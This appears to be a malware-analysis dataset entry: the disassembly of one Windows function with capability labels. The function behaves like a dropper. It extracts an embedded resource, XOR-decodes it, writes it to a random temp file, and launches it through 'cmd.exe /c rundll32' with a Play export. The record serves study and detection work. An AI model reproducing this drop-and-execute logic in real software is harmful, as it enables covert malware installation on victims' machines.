Function at 0x402b90
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Get common file path
Terminate process
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x348
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x344], eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x402bc5
mov al, 1
mov ecx, dword [esp + 0x344]
xor ecx, esp
call fcn.004033e4
add esp, 0x348
ret
call fcn.00401000
cmp eax, 5
je 0x402beb
cmp eax, 7
je 0x402beb
xor al, al
mov ecx, dword [esp + 0x344]
xor ecx, esp
call fcn.004033e4
add esp, 0x348
ret
call fcn.004031d0
cmp eax, 1
jne 0x402bd4
push esi
push 0x103
lea eax, [esp + 0x111]
push 0
push eax
mov byte [esp + 0x118], 0
call fcn.00406b00
add esp, 0xc
push 0x104
lea ecx, [esp + 0x110]
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0x103
lea edx, [esp + 0xd]
push 0
push edx
mov byte [esp + 0x14], 0
call fcn.00406b00
add esp, 0xc
lea eax, [esp + 8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
lea esi, [esp + 8]
lea ecx, [esi + 1]
lea ebx, [ebx]
mov al, byte [esi]
inc esi
test al, al
jne 0x402c60
push ebx
push ebp
sub esi, ecx
push edi
lea edi, [esi + 8]
cmp esi, edi
jge 0x402c9b
mov ebp, dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov ebx, dword [sym.imp.KERNEL32.DLL_Sleep]
nop
call ebp
xor edx, edx
mov ecx, 0x1a
div ecx
push 1
add dl, 0x61
mov byte [esp + esi + 0x18], dl
call ebx
inc esi
cmp esi, edi
jl 0x402c80
lea eax, [esp + 0x14]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402ca0
mov edx, dword [str..dat]
mov cl, byte [0x4105d4]
mov dword [eax], edx
mov byte [eax + 4], cl
call fcn.00402ab0
xor edx, edx
mov bl, al
test bl, bl
setne dl
push 0x4105d8
add edx, 0x65
push edx
push 0
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.DLL_LoadResource]
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
mov esi, eax
push esi
call fcn.00403aef
push esi
mov ebp, eax
push edi
push ebp
call fcn.004090e0
add esp, 0x10
xor ecx, ecx
test esi, esi
jle 0x402d25
mov al, byte [ecx + ebp]
test al, al
je 0x402d20
cmp al, 0x24
je 0x402d20
xor al, 0x24
mov byte [ecx + ebp], al
inc ecx
cmp ecx, esi
jl 0x402d10
xor ecx, ecx
test esi, esi
jbe 0x402d53
jmp 0x402d30
cmp byte [ecx + ebp], 0x41
lea edx, [ecx + ebp]
jne 0x402d4e
xor eax, eax
jmp 0x402d40
cmp byte [edx + eax], 0x41
jne 0x402d4e
inc eax
cmp eax, 0x1e
jl 0x402d40
jmp 0x402d53
inc ecx
cmp ecx, esi
jb 0x402d30
lea eax, [esi - 1]
cmp ecx, eax
jae 0x402d96
lea eax, [esp + 0x118]
mov edx, eax
sub ecx, edx
lea edx, [ecx + ebp]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x402d68
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x402db1
mov ecx, dword [esp + 0x354]
pop edi
pop ebp
pop ebx
pop esi
xor ecx, esp
xor al, al
call fcn.004033e4
add esp, 0x348
ret
push 0
lea ecx, [esp + 0x14]
push ecx
push esi
push ebp
push edi
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x135
lea edx, [esp + 0x221]
push 0
push edx
mov byte [esp + 0x228], 0
call fcn.00406b00
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x22c]
push str.cmd.exe__c_rundll32___s_
push ecx
call fcn.004033f3
lea eax, [esp + 0x234]
add esp, 0x18
dec eax
test bl, bl
je 0x402e30
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402e12
mov edx, dword [str.Playx64]
mov ecx, dword [0x4105fc]
mov dword [eax], edx
mov dword [eax + 4], ecx
jmp 0x402e54
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402e30
mov edx, dword [str.PlayWin32]
mov ecx, dword [0x410604]
mov dword [eax], edx
mov dx, word [0x410608]
mov dword [eax + 4], ecx
mov word [eax + 8], dx
push 0
lea eax, [esp + 0x220]
push eax
call dword [sym.imp.KERNEL32.DLL_WinExec]
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]